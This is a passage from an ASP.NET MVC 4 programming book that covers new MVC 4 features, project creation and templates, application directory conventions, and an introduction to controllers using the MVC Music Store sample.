In addition to a more modern design (or, some would say, any thought to design at all), the new template also features support for mobile browsers through adaptive layout. Adaptive layout is a technique for designing fluid web layouts that respond to differing screen dimensions through CSS media queries. When the site is viewed at lower than 850px width (such as on a phone or tablet), the CSS automatically reconfigures to optimize for the small form factor, as shown in the mobile emulator in Figure 1-4.

While your sites deserve their own custom design, it's nice that the underlying HTML and CSS in an MVC 4 project are set up using modern markup and CSS that responds well to the growing mobile browser viewership.

Mobile Project Template Using jQuery Mobile

If you're going to be creating sites that will only be viewed in mobile browsers, you can make use of the new Mobile Project template. This template preconfigures your site to use the popular jQuery Mobile library, which provides styles that look good and work well on mobile devices, as shown in Figure 1-5. jQuery Mobile is touch optimized, supports Ajax navigation, and uses progressive enhancement to support mobile device features.

FIGURE 1-4

FIGURE 1-5

Display Modes

Display modes use a convention-based approach to allow selecting different views based on the browser making the request. The default view engine first looks for views with names ending with .Mobile.cshtml when the browser's user agent indicates a known mobile device. For example, if you have a generic view titled Index.cshtml and a mobile view titled Index.Mobile.cshtml, MVC 4 will automatically use the mobile view when viewed in a mobile browser.

Additionally, you can register your own custom device modes that will be based on your own custom criteria — all in just one code statement. For example, to register a WinPhone device mode that would serve views ending with .WinPhone.cshtml to Windows Phone devices, you'd use the following code in the Application_Start method of your Global.asax:

```
DisplayModeProvider.Instance.Modes.Insert(0, new DefaultDisplayMode("WinPhone")
{
    ContextCondition = (context => context.GetOverriddenUserAgent().IndexOf
        ("Windows Phone OS", StringComparison.OrdinalIgnoreCase) >= 0)
});
```

Bundling and Minification

ASP.NET 4 supports the same bundling and minification framework that is included in ASP.NET 4.5. This system reduces requests to your site by combining several individual script references into a single request. It also “minifies” the requests through a number of techniques, such as shortening variable names and removing whitespace and comments. This system works on CSS as well, bundling CSS requests into a single request and compressing the size of the CSS request to produce equivalent rules using a minimum of bytes, including advanced techniques like semantic analysis to collapse CSS selectors.

The bundling system is highly configurable, allowing you to create custom bundles that contain specific scripts and reference them with a single URL. You can see some examples by referring to default bundles listed in /App_Start/BundleConfig.cs in a new MVC 4 application using the Internet template.

One nice byproduct of using bundling and minification is that you can remove file references from your view code. This means that you can add or upgrade script libraries and CSS files that have different filenames without having to update your views or layout, since the references are made to script and CSS bundles rather than individual files. For example, the MVC Internet application template includes a jQuery bundle that is not tied to the version number:

```
bundles.Add(new ScriptBundle("~/bundles/jquery").Include(
    "~/Scripts/jquery-{version}.js"));
```

This is then referenced in the site layout (_Layout.cshtml) by the bundle URL, as follows:

```
@Scripts.Render("~/bundles/jquery")
```

Since these references aren't tied to a jQuery version number, updating the jQuery library (either manually or via NuGet) will be picked up automatically by the bundling and minification system without requiring any code changes.

Included Open Source Libraries

MVC project templates have long been including top open source libraries like jQuery and Modernizr. As of MVC 3, these were included via NuGet, which makes it even simpler to upgrade them and manage dependencies. MVC 4 project templates include a few new libraries:

- **Json.NET:** Json.NET is a .NET library for manipulating information in JavaScript Object Notation (JSON). It was included in MVC 4 as part of Web API to support serializing data to JSON format, allowing for data contracts, anonymous types, dynamic types, Dates, TimeSpans, object reference preservation, indenting, camel casing, and many other useful serialization features. However, you can make use of Json.NET's additional features, including LINQ to JSON and automatic conversion from JSON to XML.
- **DotNetOpenAuth:** MVC uses DotNetOpenAuth to support OpenID- and OAuth-based logins using third-party identity providers. The Account Controller is set up to make it easy to add support for Facebook, Microsoft, Google, and Twitter; however, since these logins are built on top of OpenID and OAuth, you can easily plug in additional providers. While you can use the DotNetOpenAuth classes directly, MVC 4 also provides an OAuthWebSecurity (in the `Microsoft.Web.WebPages.OAuth` namespace) to simplify common usage.

Miscellaneous Features

MVC 4 includes a lot of features not listed previously. The full list is in the release notes, available at <http://www.asp.net/whitepapers/mvc4-release-notes>. Some of the most interesting ones that don't fit into any of the preceding themes are listed here.

- **Configuration logic moved to App_Start:** New features are nice, but the additional logic for features that are configured via code was really starting to clutter up the `Global.asax` `Application_Start` method. These configurations have been moved to static classes in the `App_Start` directory.
 - **AuthConfig.cs:** Used to configure security settings, including sites for OAuth login.
 - **BundleConfig.cs:** Used to register bundles used by the bundling and minification system. Several bundles are added by default, including jQuery, jQueryUI, jQuery validation, Modernizr, and default CSS references.
 - **FilterConfig.cs:** Unsurprisingly, this is used to register global MVC filters. The only filter registered by default is the `HandleErrorAttribute`, but this is a great place to put other filter registrations.
 - **RouteConfig.cs:** Holds the granddaddy of the MVC config statements, Route configuration. Routing is discussed in detail in Chapter 9.
 - **WebApiConfig.cs:** Used to register Web API routes, as well as set any additional Web API configuration settings.
- **Empty MVC project template:** MVC 4 has included an Empty project template since MVC 2, but it wasn't really empty; it still included the folder structure, a CSS file, and more than a dozen JavaScript files. Due to popular request, that template has been renamed Basic, and the new Empty project template really is empty.

- **Add Controller anywhere:** Previously, the Visual Studio Add Controller menu item only displayed when you right-clicked on the Controllers folder. However, the use of the Controllers folder was purely for organization. (MVC will recognize any class that implements the IController interface as a Controller, regardless of its location in your application.) The MVC 4 Visual Studio tooling has been modified to display the Add Controller menu item for any folder in your MVC project. This allows you to organize your controllers however you would like, perhaps separating them into logical groups or separating MVC and Web API controllers.

NOT APPEARING IN THIS FILM: SINGLE PAGE APPLICATION AND RECIPES

The MVC 4 Beta included a few previews of interesting, experimental features that are not included in the release version of MVC 4. Both are planned to ship later as out-of-band releases.

Single Page Application

Single Page Application (SPA) is a new project template for building single page applications that focus mainly on client-side interactions using JavaScript and Web APIs. This kind of web application can be very interactive and efficient — think of Microsoft Outlook Web Access, Gmail, etc. — but is also significantly harder to build. The Single Page Application template included:

- A set of JavaScript libraries to interact with local and cached data
- Additional Web API components for unit of work and DAL support
- An MVC project template with scaffolding support to tie the pieces together

This preview generated a lot of interest and feedback. Unfortunately, the team determined that they wouldn't be able to complete it in time to ship with MVC 4, and it was removed from the MVC 4 RC. It's still in development and planned for an out-of-band release following the MVC 4 release.

Recipes

Recipes make it easy to update Visual Studio tooling via NuGet packages. The team initially worked to allow extending the MVC tooling (e.g., the Add Area, Add Controller, and Add View dialogs). Phil demonstrated a View Mobilizer sample Recipe that created mobile versions of existing views with a simple checkbox dialog.

However, the team realized that Recipes had a lot more potential than just extending MVC tooling. A wide variety of NuGet packages could benefit from custom Visual Studio tooling to provide simplified configuration, automation, designers, etc. Based on this, Recipes was removed after the MVC 4 Beta but will be included in a future NuGet release.

Open Source Release

ASP.NET MVC has been under an open source license since the initial release, but it was just open source code rather than a full open source project. You could read the code; you could modify code; you could even distribute your modifications; but you couldn't contribute your code back to the official MVC code repository.

That changed with the ASP.NET Web Stack open source announcement in May 2012. This announcement marked the transition of ASP.NET MVC, ASP.NET Web Pages (including the Razor view engine), and ASP.NET Web API from open source licensed code to fully open source projects. All code changes and issue tracking for these projects is done in public code repositories, and these projects are allowed to accept community code contributions (aka *pull requests*) if the team agrees that the changes make sense.

Even in the short time since the project has been opened, several bug fixes and feature enhancements have already been accepted into the official source and will ship with the MVC 4 release. External code submissions are reviewed and tested by the ASP.NET team, and when released will be supported by Microsoft just as any previous ASP.NET MVC releases have been.

Even if you're not planning to contribute any source code, the public repository makes a huge difference in visibility. While in the past you needed to wait for interim releases to see what the team was working on, you can view source check-ins as they happen (at <http://aspnetwebstack.codeplex.com/SourceControl/list/changesets>) and even run nightly releases of the code to test out new features as they're written.

CREATING AN MVC 4 APPLICATION

The best way to learn about how MVC 4 works is to get started with building an application, so let's do that.

Software Requirements for ASP.NET MVC 4

MVC 4 runs on the following Windows client operating systems:

- Windows XP
- Windows Vista
- Windows 7
- Windows 8

It runs on the following server operating systems:

- Windows Server 2003
- Windows Server 2008
- Windows Server 2008 R2

MVC 4 development tooling is included with Visual Studio 2012 and can be installed on Visual Studio 2010 SP1/Visual Web Developer 2010 Express SP1.

Installing ASP.NET MVC 4

After ensuring you've met the basic software requirements, it's time to install ASP.NET MVC 4 on your development and production machines. Fortunately, that's pretty simple.

SIDE-BY-SIDE INSTALLATION WITH PREVIOUS VERSIONS OF MVC

MVC 4 installs side-by-side with previous versions of MVC, so you can install and start using MVC 4 right away. You'll still be able to create and update existing MVC 1, 2, and 3 applications, as before.

Installing the MVC 4 Development Components

The developer tooling for ASP.NET MVC 4 supports Visual Studio 2010 and Visual Studio 2012, including the free Express versions of both products.

MVC 4 is included with Visual Studio 2012, so there's nothing to install. If you're using Visual Studio 2010, you can install MVC 4 using either the Web Platform Installer (<http://www.microsoft.com/web/gallery/install.aspx?appid=MVC4VS2010>) or the executable installer package (available at <http://go.microsoft.com/fwlink/?LinkID=243392>). I generally prefer to use the Web Platform Installer (often called the *WebPI*, which makes me picture it with a magnificent Tom Selleck moustache for some reason) because it downloads and installs only the components you don't already have; the executable installer is able to run offline so it includes everything you might need, just in case.

Installing MVC 4 on a Server

The installers detect if they're running on a computer without a supported development environment and just install the server portion. Assuming your server has Internet access, WebPI is a lighter weight install, because there's no need to install any of the developer tooling.

When you install MVC 4 on a server, the MVC runtime assemblies are installed in the Global Assembly Cache (GAC), meaning they are available to any website running on that server. Alternatively, you can just include the necessary assemblies in your application without requiring that MVC 4 install on the server at all. In the past, this process, called *bin deployment*, required some extra work. Prior to the MVC 3 Tools Update, you either had to manually set assemblies to Copy Local in Visual Studio or use the Include Deployable Assemblies dialog. Starting with MVC 4, all assemblies are included via NuGet references. As such, all necessary assemblies are automatically added to the bin directory, and any MVC 4 application is bin-deployable. For this reason, the Include Deployable Assemblies dialog has been removed from Visual Studio 2012.

Creating an ASP.NET MVC 4 Application

After installing MVC 4, you'll have some new options in Visual Studio 2010 and Visual Web Developer 2010. The experience in both IDEs is very similar; because this is a Professional Series book we'll be focusing on Visual Studio development, mentioning Visual Web Developer only when there are significant differences.

MVC MUSIC STORE

We'll be loosely basing some of our samples on the MVC Music Store tutorial. This tutorial is available online at <http://mvcmusicstore.codeplex.com> and includes a 150-page e-book covering the basics of building an MVC 4 application. We'll be going quite a bit further in this book, but it's nice to have a common base if you need more information on the introductory topics.

To create a new MVC project:

1. Begin by choosing File \leftrightarrow New Project, as shown in Figure 1-6.

FIGURE 1-6

- 2.** In the Installed Templates section on the left column of the New Project dialog, shown in Figure 1-7, select the Visual C# → Web templates list. This displays a list of web application types in the center column.

FIGURE 1-7

- 3.** Select ASP.NET MVC 4 Web Application, name your application **MvcMusicStore**, and click OK.

The New ASP.NET MVC 4 Dialog

After creating a new MVC 4 application, you'll be presented with an intermediate dialog with some MVC-specific options for how the project should be created, as shown in Figure 1-8. The options you select from this dialog can set up a lot of the infrastructure for your application, from account management to view engines to testing.

Application Templates

First, you have the option to select from several preinstalled project templates.

- **The Internet Application template:** This contains the beginnings of an MVC web application — enough so that you can run the application immediately after creating it and see a few pages. You'll do that in just a minute. This template also includes some basic account management functions which run against the ASP.NET Membership system (as discussed in Chapter 7).
- **The Intranet Application template:** The Intranet Application template was added as part of the ASP.NET MVC 3 Tools Update. It is similar to the Internet Application template,

but the account management functions run against Windows accounts rather than the ASP.NET Membership system.

- **The Basic template:** This template is pretty minimal. It still has the basic folders, CSS, and MVC application infrastructure in place, but no more. Running an application created using the Empty template just gives you an error message — you need to work just to get to square one. Why include it, then? The Basic template is intended for experienced MVC developers who want to set up and configure things exactly how they want them.
- **The Empty template:** The Basic template used to be called the Empty template, but developers complained that it wasn't quite empty enough. With MVC 4, the previous Empty template was renamed Basic, and the new Empty template is about as empty as you can get. It has the assemblies and basic folder structure in place, but that's about it.
- **The Mobile Application template:** As described earlier in this chapter, the Mobile Application template is preconfigured with jQuery Mobile to jump-start creating a mobile-only website. It includes mobile visual themes, a touch-optimized UI, and support for Ajax navigation.
- **The Web API template:** ASP.NET Web API is a framework for creating HTTP services (and is discussed in detail in Chapter 11). The Web API template is similar to the Internet Application template but is streamlined for Web API development. For instance, there is no user account management functionality, as Web API account management is often significantly different from standard MVC account management. Web API functionality is also available in the other MVC project templates, and even in non-MVC project types.

FIGURE 1-8

View Engines

The next option on the New ASP.NET MVC 4 Project dialog is a View Engine drop-down. View engines offer different templating languages used to generate the HTML markup in your MVC application. Prior to MVC 3, the only built-in option was the ASPX, or Web Forms, view engine. That option is still available, as shown in Figure 1-9.

FIGURE 1-9

However, MVC 3 added a new option here: the Razor view engine. We'll be looking at that in a lot more detail, especially in Chapter 3.

Testing

All the built-in project templates have an option to create a unit test project with sample unit tests, as shown in Figure 1-10.

FIGURE 1-10

Leaving the Create a Unit Test Project checkbox unselected means that your project will be created without any unit tests, so there's nothing else to do.

RECOMMENDATION: CHECK THE BOX

I'm hoping you'll get in the habit of checking that Create a Unit Test Project box for *every* project you create.

I'm not going to try to sell you the Unit Testing religion — not just yet. We'll be talking about unit testing throughout the book, especially in Chapter 12, which covers unit testing and testable patterns, but we're not going to try to ram it down your throat.

Most developers I talk to are convinced that there is value in unit testing. Those who aren't using unit tests would like to, but they're worried that it's just too hard. They don't know where to get started, they're worried that they'll get it wrong, and they are just kind of paralyzed. I know just how they feel; I was there.

So, here's my sales pitch: Just check the box. You don't have to know anything to do it; you don't need an ALT.NET tattoo or a certification. We'll cover some unit testing in this book to get you started, but the best way to get started with unit testing is to just check the box, so that later you can start writing a few tests without having to set anything up.

After checking the Create a Unit Test Project box, you'll have a few more choices:

- The first is simple: You can change the name of your unit test project to anything you want.
- The second option allows you to select a test framework, as shown in Figure 1-11.

You may have noticed that there's only one test framework option shown, which doesn't seem to make a whole lot of sense. The reason there's a drop-down is that unit testing frameworks can register with the dialog, so if you've installed other unit testing frameworks (like xUnit, NUnit, MbUnit, and so on) you'll see them in that drop-down list as well.

FIGURE 1-11

NOTE *The Visual Studio Unit Test Framework is available only with Visual Studio 2012 Professional and higher versions. If you are using Visual Studio 2012 Standard Edition or Express, you will need to download and install the NUnit, MbUnit, or xUnit extensions for ASP.NET MVC in order for this dialog to be shown.*

REGISTERING UNIT TESTING FRAMEWORKS WITH THE UNIT TESTING FRAMEWORK DROP-DOWN

Ever wondered what's involved in registering a testing framework with the MVC New Project dialog?

The process is described in detail on MSDN (<http://msdn.microsoft.com/en-us/library/dd381614.aspx>). There are two main steps:

1. Create and install a template project for the new MVC Test Project.

continues

(continued)

2. Register the test project type by adding a few registry entries under HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\10.0_Config\MVC4\TestProjectTemplates.

Of course, both of these things can be included in the installation process for a unit testing framework, but you can customize them if you'd like without a huge amount of effort.

Review your settings on the New ASP.NET MVC 4 Project dialog to make sure they match Figure 1-12, and then click OK.

FIGURE 1-12

This creates a solution for you with two projects — one for the web application and one for the unit tests, as shown in Figure 1-13.

THE MVC APPLICATION STRUCTURE

When you create a new ASP.NET MVC application with Visual Studio, it automatically adds several files and directories to the project, as shown in Figure 1-14. ASP.NET MVC projects created with the Internet application template have eight top-level directories, shown in Table 1-1.

FIGURE 1-13

FIGURE 1-14

TABLE 1-1: Default Top-Level Directories

DIRECTORY	PURPOSE
/Controllers	Where you put Controller classes that handle URL requests
/Models	Where you put classes that represent and manipulate data and business objects
/Views	Where you put UI template files that are responsible for rendering output, such as HTML
/Scripts	Where you put JavaScript library files and scripts (.js)
/Images	Where you put images used in your site
/Content	Where you put CSS and other site content, other than scripts and images
/Filters	Where you put filter code. Filters are an advanced feature, discussed in Chapter 14.
/App_Data	Where you store data files you want to read/write
/App_Start	Where you put configuration code for features like Routing, Bundling, and Web API

WHAT IF I DON'T LIKE THAT DIRECTORY STRUCTURE?

ASP.NET MVC does not require this structure. In fact, developers working on large applications will typically partition the application across multiple projects to make it more manageable (for example, data model classes often go in a separate class library project from the web application). The default project structure, however, does provide a nice default directory convention that you can use to keep your application concerns clean.

Note the following about these files and directories. When you expand:

- The /Controllers directory, you'll find that Visual Studio added two Controller classes (Figure 1-15) — `HomeController` and `AccountController` — by default to the project.
- The /views directory, you'll find that three subdirectories — `/Account`, `/Home`, and `/Shared` — as well as several template files within them, were also added to the project by default (Figure 1-16).
- The /Content and /Scripts directories, you'll find a `site.css` file that is used to style all HTML on the site, as well as JavaScript libraries that can enable jQuery support within the application (Figure 1-17).
- The `MvcMusicStore.Tests` project, you'll find two classes that contain unit tests for your Controller classes (Figure 1-18).

**FIGURE 1-15****FIGURE 1-16**

These default files, added by Visual Studio, provide you with a basic structure for a working application, complete with homepage, about page, account login/logout/registration pages, and an unhandled error page (all wired up and working out of the box).

ASP.NET MVC and Conventions

ASP.NET MVC applications, by default, rely heavily on conventions. This allows developers to avoid having to configure and specify things that can be inferred based on convention.

For instance, MVC uses a convention-based directory-naming structure when resolving View templates, and this convention allows you to omit the location path when referencing views from within a Controller class. By default, ASP.NET MVC looks for the View template file within the \Views\[ControllerName]\ directory underneath the application.

MVC is designed around some sensible convention-based defaults that can be overridden as needed. This concept is commonly referred to as “convention over configuration.”

FIGURE 1-17

FIGURE 1-18

Convention over Configuration

The *convention over configuration* concept was made popular by Ruby on Rails a few years back, and essentially means:

We know, by now, how to build a web application. Let's roll that experience into the framework so we don't have to configure absolutely everything again.

You can see this concept at work in ASP.NET MVC by taking a look at the three core directories that make the application work:

- Controllers
- Models
- Views

You don't have to set these folder names in the `web.config` file — they are just expected to be there by convention. This saves you the work of having to edit an XML file like your `web.config`, for

example, in order to explicitly tell the MVC engine, “You can find my views in the Views directory” — it already knows. It’s a *convention*.

This isn’t meant to be magical. Well, actually, it is; it’s just not meant to be *black magic* — the kind of magic where you may not get the outcome you expected (and moreover can actually harm you).

ASP.NET MVC’s conventions are pretty straightforward. This is what is expected of your application’s structure:

- Each controller’s class name ends with *Controller*: `ProductController`, `HomeController`, and so on, and lives in the `Controllers` directory.
- There is a single `Views` directory for all the views of your application.
- Views that controllers use live in a subdirectory of the `Views` main directory and are named according to the controller name (minus the *Controller* suffix). For example, the views for the `ProductController` discussed earlier would live in `/Views/Product`.

All reusable UI elements live in a similar structure, but in a `Shared` directory in the `Views` folder. You’ll hear more about views in Chapter 3.

Conventions Simplify Communication

You write code to communicate. You’re speaking to two very different audiences:

- You need to clearly and unambiguously communicate instructions to the computer for execution.
- You want developers to be able to navigate and read your code for later maintenance, debugging, and enhancement.

We’ve already discussed how convention over configuration helps you to efficiently communicate your intent to MVC. Convention also helps you to clearly communicate with other developers (including your future self). Rather than having to describe every facet of how your applications are structured over and over, following common conventions allows MVC developers worldwide to share a common baseline for all our applications. One of the advantages of software design patterns in general is the way they establish a standard language. Because ASP.NET MVC applies the MVC pattern along with some opinionated conventions, MVC developers can very easily understand code — even in large applications — that they didn’t write (or don’t remember writing).

SUMMARY

We’ve covered a lot of ground in this chapter. We began with an introduction to ASP.NET MVC, showing how the ASP.NET web framework and the MVC software pattern combine to provide a powerful system for building web applications. We looked at how ASP.NET MVC has matured through three previous releases, examining in more depth the features and focus of ASP.NET MVC 4. With the background established, you set up your development environment and began creating a sample MVC 4 application. You finished up by looking at the structure and components of an MVC 4 application. You’ll be looking at all those components in more detail in the following chapters, starting with controllers in Chapter 2.

Controllers

Jon Galloway

WHAT'S IN THIS CHAPTER?

- The controller's role
- A brief history of controllers
- Sample application: The MVC Music Store
- Controller basics

This chapter explains how controllers respond to user HTTP requests and return information to the browser. It focuses on the function of controllers and controller actions. We haven't covered views and models yet, so our controller action samples will be a little high level. This chapter lays the groundwork for the following several chapters.

Chapter 1 discussed the Model-View-Controller (MVC) pattern in general and then followed up with how ASP.NET MVC compares with ASP.NET Web Forms. Now it's time to get into a bit more detail about one of the core elements of the three-sided pattern that is MVC — the controller.

THE CONTROLLER'S ROLE

It's probably best to start out with a quick definition and then dive into detail from there. Keep this definition in mind while reading this chapter. It will help to ground the discussion ahead with what a controller is all about and what it's supposed to do.

Controllers within the MVC pattern are responsible for responding to user input, often making changes to the model in response to user input. In this way, controllers in the MVC pattern are concerned with the flow of the application, working with data coming in, and providing data going out to the relevant view.

Way back in the day, web servers served up HTML stored in static files on disk. As dynamic web pages gained prominence, web servers served HTML generated on the fly from dynamic scripts that were also located on disk. With MVC, it's a little different. The URL tells the routing mechanism (which you'll begin to explore in the next few chapters, and learn about in depth in Chapter 9) which controller class to instantiate and which action method to call, and supplies the required arguments to that method. The controller's method then decides which view to use, and that view then renders the HTML.

Rather than having a direct relationship between the URL and a file living on the web server's hard drive, there is a relationship between the URL and a method on a controller class. ASP.NET MVC implements the front controller variant of the MVC pattern, and the controller sits in front of everything except the routing subsystem, as seen in Chapter 9.

A good way to think about how MVC works in a Web scenario is that MVC serves up the results of method calls, not dynamically generated (aka scripted) pages.

A BRIEF HISTORY OF CONTROLLERS

The MVC pattern has been around for a long time — decades before this era of modern web applications. When MVC first developed, graphical user interfaces (GUIs) were just a few years old, and the interaction patterns were still evolving. Back then, when the user pressed a key or clicked the screen, a process would “listen,” and that process was the controller. The controller was responsible for receiving that input, interpreting it and updating whatever data class was required (the model), and then notifying the user of changes or program updates (the view, which is covered in more detail in Chapter 3).

In the late 1970s and early 1980s, researchers at Xerox PARC (which, coincidentally, was where the MVC pattern was incubated) began working with the notion of the GUI, wherein users “worked” within a virtual “desktop” environment on which they could click and drag items around. From this came the idea of *event-driven programming* — executing program actions based on events fired by a user, such as the click of a mouse or the pressing of a key on the keypad.

Over time, as GUIs became the norm, it became clear that the MVC pattern wasn't entirely appropriate for these new systems. In such a system, the GUI components themselves handled user input. If a button was clicked, it was the button that responded to the mouse click, not a controller. The button would, in turn, notify any observers or listeners that it had been clicked. Patterns such as the Model-View-Presenter (MVP) proved to be more relevant to these modern systems than the MVC pattern.

ASP.NET Web Forms is an event-based system, which is unique with respect to web application platforms. It has a rich control-based, event-driven programming model that developers code against, providing a nice componentized GUI for the Web. When a button is clicked, a button control responds and raises an event on the server indicating that it has been clicked. The beauty of this approach is that it allows the developer to work at a higher level of abstraction when writing code.

Digging under the hood a bit, however, reveals that a lot of work is going on to simulate that componentized event-driven experience. At its core, when a button is clicked, the browser submits a request to the server containing the state of the controls on the page encapsulated in an encoded hidden input. On the server side, in response to this request, ASP.NET has to rebuild the entire control hierarchy and then interpret that request, using the contents of that request to restore the current state of the application for the current user. All this happens because the Web, by its nature, is stateless. With a rich-client Windows GUI app, there is no need to rebuild the entire screen and control hierarchy every time the user clicks a UI widget, because the application doesn't go away.

With the Web, the state of the app for the user essentially vanishes and then is restored with every click. Well, that's an oversimplification, but the user interface, in the form of HTML, is sent to the browser from the server. This raises the question: "Where is the application?" For most web pages, the application is a dance between client and server, each maintaining a tiny bit of state, perhaps a cookie on the client or chunk of memory on the server, all carefully orchestrated to cover up the Tiny Lie. The Lie is that the Internet and HTTP can be programmed again in a stateful manner.

The underpinning of event-driven programming (the concept of *state*) is lost when programming for the Web, and many are not willing to embrace the Lie of a *virtually stateful* platform. Given this, the industry has seen the resurgence of the MVC pattern, albeit with a few slight modifications.

One example of such a modification is that in traditional MVC, the model can "observe" the view via an indirect association to the view. This allows the model to change itself based on view events. With MVC for the Web, by the time the view is sent to the browser, the model is generally no longer in memory and does not have the ability to observe events on the view. (Note that there are exceptions to this change, as described in Chapter 8, regarding the application of Ajax to MVC.)

With MVC for the Web, the controller is once again at the forefront. Applying this pattern requires that every user input to a web application simply take the form of a request. For example, with ASP.NET MVC, each request is routed (using routing, discussed in Chapter 9) to a method on a controller (called an *action*). The controller is entirely responsible for interpreting that request, manipulating the model if necessary, and then selecting a view to send back to the user via the response.

With that bit of theory out of the way, let's dig into ASP.NET MVC's specific implementation of controllers. You'll be continuing from the new project you created in Chapter 1. If you skipped over that, you can just create a new MVC 4 application using the Internet Application template and the Razor view engine, as shown in Figure 1-9 in the previous chapter.

A SAMPLE APPLICATION: THE MVC MUSIC STORE

As mentioned in Chapter 1, we will use the MVC Music Store application for a lot of our samples in this book. You can find out more about the MVC Music Store application at <http://mvcmusicstore.codeplex.com>. The Music Store tutorial is intended for beginners and moves at a pretty slow pace; because this is a professional series book, we'll move faster and cover some more advanced background detail. If you want a slower, simpler introduction to any of these topics, feel free to refer to the MVC Music Store tutorial. It's available online in HTML format and as a 150-page downloadable PDF. MVC Music Store was published under Creative Commons license to allow for free reuse, and we'll be referencing it at times.

The MVC Music Store application is a simple music store that includes basic shopping, checkout, and administration, as shown in Figure 2-1.

FIGURE 2-1

The following store features are covered:

- **Browse:** Browse through music by genre and artist, as shown in Figure 2-2.
- **Add:** Add songs to your cart, as shown in Figure 2-3.
- **Shop:** Update shopping cart (with Ajax updates), as shown in Figure 2-4.

FIGURE 2-2

FIGURE 2-3

The screenshot shows a web browser window for the 'ASP.NET MVC MUSIC STORE'. The URL is [http://localhost:40404/Store/Cart](#). The page title is 'Cart (3)'. The main content area shows a table of items in the cart:

Album Name	Price (each)	Quantity	
Pachelbel: Canon & Gigue	8.99	2	Remove from cart
Miles Ahead	8.99	1	Remove from cart
Total			26.97

A sidebar on the left lists genres: Rock, Jazz, Metal, Alternative, Disco, Blues, Latin, Reggae, Pop, Classical.

FIGURE 2-4

- Order: Create an order and check out, as shown in Figure 2-5.

The screenshot shows a web-based order creation interface. On the left, there's a sidebar with genre categories: Rock, Jazz, Metal, Alternative, Disco, Blues, Latin, Reggae, Pop, and Classical. The main area has two sections: 'Shipping Information' and 'Payment'. Under 'Shipping Information', fields include First Name (Jon), Last Name (Galloway), Address (123 Main), City (Denver), State (CO), Postal Code (12345), Country (USA), Phone ((123) 456-7890), and Email Address (test@test.com). Under 'Payment', it says 'We're running a promotion: all music is free with the promo code "FREE"' and has a 'Promo Code' field containing 'FREE'. At the bottom is a 'Submit Order' button.

FIGURE 2-5

- Administer: Edit the song list (restricted to administrators), as shown in Figure 2-6.

The screenshot shows a table titled 'Create New' with columns: Name, Name, Title, and Price. The table lists six songs with their details and edit/delete links. The rows are as follows:

Name	Name	Title	Price
Classical	Aaron Copland & London Sy...	A Copland Celebration, Vo...	\$8.99 Edit Details Delete
Jazz	Aaron Goldberg	Worlds	\$8.99 Edit Details Delete
Rock	AC/DC	For Those About To Rock W...	\$8.99 Edit Details Delete

CONTROLLER BASICS

Getting started with MVC presents something of a chicken and egg problem: There are three parts (model, view, and controller) to understand, and it's difficult to really dig into one of those parts without understanding the others. To get started, you'll first learn about controllers at a very high level, ignoring models and views for a bit.

After learning the basics of how controllers work, you'll be ready to learn about views, models, and other ASP.NET MVC development topics at a deeper level. Then you'll be ready to circle back to advanced controller topics in Chapter 15.

A Simple Example: The Home Controller

Before writing any real code, we'll start by looking at what's included by default in a new project. Projects created using the Internet Application template include two controller classes:

- **HomeController:** Responsible for the “home page” at the root of the website, as well as an “about page” and a “contact page”
- **AccountController:** Responsible for account-related requests, such as login and account registration

In the Visual Studio project, expand the /Controllers folder and open `HomeController.cs`, as shown in Figure 2-7.

The screenshot shows the Microsoft Visual Studio interface with the title bar "MvcMusicStore - Microsoft Visual Studio". The menu bar includes FILE, EDIT, VIEW, PROJECT, BUILD, DEBUG, TEAM, SQL, TOOLS, TEST, ARCHITECTURE, ANALYZE, WINDOW, and HELP. The toolbar has icons for Save, Undo, Redo, Cut, Copy, Paste, Find, Replace, and others. The main editor window displays the `HomeController.cs` file:

```

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;

namespace MvcMusicStore.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            ViewBag.Message = "Modify this template to jump-start your ASP.NET application.";

            return View();
        }

        public ActionResult About()
        {
            ViewBag.Message = "Your app description page.";

            return View();
        }

        public ActionResult Contact()
        {
            ViewBag.Message = "Your contact page.";

            return View();
        }
    }
}

```

The Solution Explorer on the right shows the project structure for "MvcMusicStore" (2 projects):

FIGURE 2-7

Notice that this is a pretty simple class that inherits from the `Controller` base class. The `Index` method of the `HomeController` class is responsible for deciding what will happen when you browse to the homepage of the website. Follow these steps to make a simple edit and run the application:

1. Replace “Welcome to ASP.NET MVC!” in the `Index` method with the phrase of your choice, perhaps “I like cake!”:

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;

namespace MvcMusicStore.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            ViewBag.Message = "I like cake!";

            return View();
        }

        public ActionResult About()
        {
            ViewBag.Message = "Your app description page.";

            return View();
        }

        public ActionResult Contact()
        {
            ViewBag.Message = "Your contact page.";

            return View();
        }
    }
}
```

2. Run the application by hitting the F5 key (or by using the Debug ➔ Start Debugging menu item, if you prefer). Visual Studio compiles the application and launches the site running under IIS Express.

IIS EXPRESS AND ASP.NET DEVELOPMENT SERVER

Visual Studio 2012 includes IIS Express, a local development version of IIS, which will run your website on a random free “port” number. In Figure 2-8, the site is running at `http://localhost:26641/`, so it’s using port 26641. Your port number will be different. When we talk about URLs like `/store/Browse` in this tutorial, that will go after the port number. Assuming a port number of 26641, browsing to `/Store/Browse` will mean browsing to `http://localhost:26641/Store/Browse`.

Visual Studio 2010 and below use the Visual Studio Development Server (sometimes referred to by its old codename, Cassini) rather than IIS Express. Although the Development Server is similar to IIS, IIS 7.5 Express actually is a version of IIS that has been optimized for development purposes. You can read more about using IIS 7.5 Express on Scott Guthrie's blog at <http://weblogs.asp.net/scottgu/7673719.aspx>.

If you're using Visual Studio 2010 SP1, it's pretty easy to use IIS 7.5 Express instead of the Development Server. You can change the project's web server by selecting either Use Local IIS Web Server or Use Visual Studio Development Server in the Web tab of the Project properties screen, as shown in Figure 2-8.

FIGURE 2-8

Next, a browser window opens and displays the message you just typed, as shown in Figure 2-9.

Great, you created a new project and put some words on the screen! Now let's get to work on building an actual application by creating a new controller.

FIGURE 2-9

Writing Your First Controller

Start by creating a controller to handle URLs related to browsing through the music catalog. This controller will support three scenarios:

- The index page lists the music genres that your store carries.
- Clicking a genre leads to a browse page that lists all of the music albums in a particular genre.
- Clicking an album leads to a details page that shows information about a specific music album.

Creating the New Controller

Start by adding a new `StoreController` class. Right-click the `Controllers` folder within the Solution Explorer and select the `Add` ➤ `Controller` menu item, as shown in Figure 2-10.

FIGURE 2-10

